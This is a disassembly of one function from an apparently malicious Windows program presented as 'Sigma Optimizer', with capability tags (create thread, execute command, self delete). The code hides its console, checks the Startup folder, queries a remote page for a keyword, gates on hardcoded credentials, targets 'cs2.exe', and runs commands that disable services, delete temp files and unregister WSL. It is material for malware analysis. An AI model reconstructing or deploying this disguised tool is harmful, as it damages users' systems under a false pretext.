Function at 0x1400021a0
Capabilities:
Create thread
Execute command
Self delete

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
mov r14d, 1
mov edx, r14d
lea rcx, [0x1400020a0]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov r8d, 0x104
lea rdx, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartup_
lea rcx, [rbp - 0x40]
call fcn.140001560
nop
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x60]
call fcn.140001560
nop
lea r11, [rbp - 0x40]
mov r15, qword [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova r11, r15
lea rsi, [rbp - 0x60]
mov r12, qword [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova rsi, r12
xor r13d, r13d
mov rbx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x50]
cmp rbx, rax
ja 0x1400022f5
sub rax, rbx
test rbx, rbx
je 0x1400022e4
inc rax
lea rdi, [rsi + rax*2]
mov rax, rsi
movzx r10d, word [r11]
nop
mov rcx, rdi
sub rcx, rax
sar rcx, 1
mov rdx, r13
je 0x14000229a
cmp word [rax], r10w
je 0x140002297
cmp rcx, 1
je 0x14000229a
dec rcx
add rax, 2
cmp word [rax], r10w
jne 0x140002284
mov rdx, rax
mov rax, rdx
test rdx, rdx
je 0x1400022f5
mov r8, rbx
mov rdx, r11
test rbx, rbx
je 0x1400022d8
mov r9, rax
sub r9, r11
nop dword [rax]
nop word [rax + rax]
movzx ecx, word [rdx + r9]
cmp cx, word [rdx]
jne 0x1400023ee
add rdx, 2
sub r8, 1
jne 0x1400022c0
sub rax, rsi
sar rax, 1
cmp rax, 0xffffffffffffffff
je 0x1400022f5
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], r13b
lea rax, [rbp - 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8, [0x140001720]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov ecx, 3
call qword [sym.imp.libcurl.dll_curl_global_init]
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov r13, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14000256e
lea r8, [0x140008848]
cmp qword [0x140008860], 0xf
cmova r8, qword [0x140008848]
mov edx, 0x2712
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [0x1400016a0]
mov edx, 0x4e2b
mov rcx, r13
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [rsp + 0x38]
mov edx, 0x2711
mov rcx, r13
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, r13
call qword [sym.imp.libcurl.dll_curl_easy_perform]
mov edi, eax
test eax, eax
je 0x1400023f7
lea rdx, str.cURL_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002be0
mov rbx, rax
mov ecx, edi
call qword [sym.imp.libcurl.dll_curl_easy_strerror]
mov rdx, rax
mov rcx, rbx
call fcn.140002be0
lea rdx, [0x140002dc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140002580
add rax, 2
jmp 0x140002270
lea rsi, [0x1400080f8]
cmp qword [0x140008110], 0xf
cmova rsi, qword [0x1400080f8]
lea r15, [rsp + 0x38]
cmp qword [rsp + 0x50], 0xf
cmova r15, qword [rsp + 0x38]
mov rdi, qword [0x140008108]
mov r14, qword [rsp + 0x48]
cmp rdi, r14
ja 0x14000249b
mov rax, r14
sub rax, rdi
test rdi, rdi
je 0x1400025d9
lea r12, [rax + r15]
movsx r13d, byte [rsi]
lea r8, [r12 + 1]
sub r8, r15
mov edx, r13d
mov rcx, r15
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140002496
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400025c7
inc rbx
lea r8, [r12 + 1]
sub r8, rbx
mov edx, r13d
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140002462
mov r13, qword [rsp + 0x30]
lea rsi, [0x1400080d8]
cmp qword [0x1400080f0], 0xf
cmova rsi, qword [0x1400080d8]
lea r15, [rsp + 0x38]
cmp qword [rsp + 0x50], 0xf
cmova r15, qword [rsp + 0x38]
mov rdi, qword [0x1400080e8]
cmp rdi, r14
ja 0x140002536
sub r14, rdi
test rdi, rdi
je 0x140002917
movsx r12d, byte [rsi]
lea r8, [r15 + 1]
add r8, r14
sub r8, r15
mov edx, r12d
mov rcx, r15
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140002536
nop dword [rax]
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000290a
inc rbx
lea r8, [r15 + 1]
add r8, r14
sub r8, rbx
mov edx, r12d
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140002500
lea rdx, str.Website_is_down_or_keyword_not_found._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002be0
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x38]
cmp qword [rsp + 0x50], 0xf
cmova rax, qword [rsp + 0x38]
mov byte [rax], 0
mov r15, qword [rbp - 0x40]
mov r12, qword [rbp - 0x60]
mov rcx, r13
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
call qword [sym.imp.libcurl.dll_curl_global_cleanup]
xor r14d, r14d
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140002928
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002923
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002923
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
sub rbx, r15
cmp rbx, 0xffffffffffffffff
je 0x140002496
mov r13, qword [rsp + 0x30]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor eax, eax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], al
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], al
lea rdx, str.Sigma_Optimizer_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002be0
lea rdx, str.__________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002be0
lea rdx, str.Enter_username:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002be0
lea rdx, [rsp + 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140002e00
lea rdx, str.Enter_password:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002be0
lea rdx, [rsp + 0x78]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140002e00
lea rdx, str.test
cmp qword [0x1400080d0], 0xf
cmova rdx, qword [str.test]
lea rcx, [rsp + 0x58]
mov rdi, qword [rsp + 0x58]
mov r14, qword [rsp + 0x70]
cmp r14, 0xf
cmova rcx, rdi
mov rsi, qword [rbp - 0x70]
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x68]
cmp r8, qword [0x1400080c8]
jne 0x140002878
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140002878
lea rdx, str.admin
cmp qword [0x140008150], 0xf
cmova rdx, qword [str.admin]
lea rcx, [rsp + 0x78]
cmp rsi, 0xf
cmova rcx, rbx
mov r8, qword [rbp - 0x78]
cmp r8, qword [0x140008148]
jne 0x140002878
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140002878
lea rcx, str.cs2.exe
call fcn.140001bf0
lea rcx, [0x140008908]
call fcn.140001bf0
lea rcx, [0x1400088a8]
call fcn.140001bf0
lea rcx, [0x1400088c8]
call fcn.140001bf0
lea rdx, str.Enter_the_major_version_of_Windows__10_or_11_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002be0
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rsp + 0x30]
cmp eax, 0xa
jne 0x1400027db
lea rdx, str.Optimizing_Windows_10..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002be0
lea rcx, str.sc_stop_DiagTrack
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_DiagTrack_start_disabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_WSearch
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_WSearch_start_disabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.msconfig
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__q__s__temp_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Windows_10_optimization_complete._n
jmp 0x14000285e
cmp eax, 0xb
jne 0x140002857
lea rdx, str.Optimizing_Windows_11..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002be0
lea rcx, str.sc_stop_DiagTrack
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_DiagTrack_start_disabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_WSearch
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_WSearch_start_disabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.msconfig
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__q__s__temp_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wsl___unregister
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Windows_11_optimization_complete._n
jmp 0x14000285e
lea rdx, str.Unsupported_Windows_version._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002be0
call fcn.140001d30
lea rdx, str.Optimization_complete._n
jmp 0x14000287f
lea rdx, str.Invalid_username_or_password._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002be0
nop
cmp rsi, 0xf
jbe 0x1400028c7
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400028be
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140003764
nop
cmp r14, 0xf
jbe 0x140002549
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400028fd
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.140003764
jmp 0x140002549
sub rbx, r15
cmp rbx, 0xffffffffffffffff
je 0x140002536
lea rdx, str.Access_denied._n
jmp 0x14000253d
call fcn.140003764
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
mov rax, qword [rbp - 0x48]
cmp rax, 7
jbe 0x140002983
lea rdx, [rax*2 + 2]
mov rax, r12
cmp rdx, 0x1000
jb 0x14000297a
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000297a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.140003764
nop
mov rax, qword [rbp - 0x28]
cmp rax, 7
jbe 0x1400029c5
lea rdx, [rax*2 + 2]
mov rax, r15
cmp rdx, 0x1000
jb 0x1400029bd
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.140003764
mov eax, r14d
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.1400033f0
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret